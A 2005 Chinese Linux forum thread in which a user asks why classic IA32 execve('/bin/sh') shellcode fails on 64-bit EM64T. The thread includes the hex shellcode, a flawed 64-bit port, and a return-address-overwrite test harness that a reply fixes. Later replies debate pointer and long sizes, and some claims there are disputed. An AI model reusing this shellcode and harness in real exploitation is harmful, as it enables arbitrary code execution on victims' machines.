LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 1196|回复: 14

64位shellcode问题请教

[复制链接]
发表于 2005-5-12 17:00:40 | 显示全部楼层 |阅读模式
我现在在网上找到了IA32下的shellcode,不知道能否在EM64T机器上运行?(我试了一下是不能运行的),另外,能否讨论一下64位shellcode的编写及验证(我现在写了一个,但是运行时没有生成新的shell,也没有产生任何错误).请大侠指教,谢谢!

IA32的shellcode:


  1. char shellcode[] =
  2.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  3.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  4.         "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  5. void main()
  6. {
  7.    int *ret;

  8.    ret = (int *)&ret + 2;
  9.    (*ret) = (int)shellcode;

  10. }
复制代码


EM64T下的shellcode(我自己写的,但是不能正常工作):

  1. char shellcode[] =
  2.         "\xeb\x2a\x5e\x48\x89\x76\x08\x48\x31\xc0\x48\x89"
  3.         "\x46\x07\x48\x89\x46\x0c\xb0\x0b\x48\x89\xf3\x48"
  4.         "\x8d\x4e\x08\x48\x8d\x56\x0c\xcd\x80\x48\x31\xdb"
  5.         "\x48\x89\xd8\x48\xff\xc0\xcd\x80\xe8\xd1\xff\xff/bin/sh";

  6. int main()
  7. {
  8.    int *ret;

  9.    ret = (int *)&ret + 2;
  10.    (*ret) = (int)shellcode;

  11. }


复制代码
发表于 2005-5-12 18:20:53 | 显示全部楼层

  1. int main(void)
  2. {
  3.     unsigned long *ret;
  4.    ret = (unsigned long *)&ret + 2;
  5.    (*ret) = (unsigned long)shellcode;
  6. }
复制代码
回复 支持 反对

使用道具 举报

发表于 2005-5-12 18:22:03 | 显示全部楼层
指针永远和long一样长,记住。
回复 支持 反对

使用道具 举报

发表于 2005-5-12 18:58:00 | 显示全部楼层
Post by Tetris
指针永远和long一样长,记住。

或者说是机器的自然字长。
回复 支持 反对

使用道具 举报

 楼主| 发表于 2005-5-13 11:52:46 | 显示全部楼层
谢谢各位兄弟,已经ok了,再次表示感谢!
回复 支持 反对

使用道具 举报

发表于 2005-5-13 12:30:30 | 显示全部楼层
我听我们老师说指针长度还跟操作系统有关
他举例说win98下指针就是2Byte,不知道是否准确?
回复 支持 反对

使用道具 举报

发表于 2005-5-13 14:29:18 | 显示全部楼层
解释一下shellcode是干嘛的吧。
回复 支持 反对

使用道具 举报

发表于 2005-5-13 14:30:26 | 显示全部楼层
Post by nait
我听我们老师说指针长度还跟操作系统有关
他举例说win98下指针就是2Byte,不知道是否准确?


win98指针4Byte吧?dos下才是2Byte。
回复 支持 反对

使用道具 举报

发表于 2005-5-13 15:07:26 | 显示全部楼层
Post by Tetris
指针永远和long一样长,记住。

指针长度与机器字长相同
机器字长与int类型长度相同
那么如何"指针永远与long一样长"?
回复 支持 反对

使用道具 举报

发表于 2005-5-13 15:15:19 | 显示全部楼层
Post by rickxbx

机器字长与int类型长度相同

谁跟你说的?
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表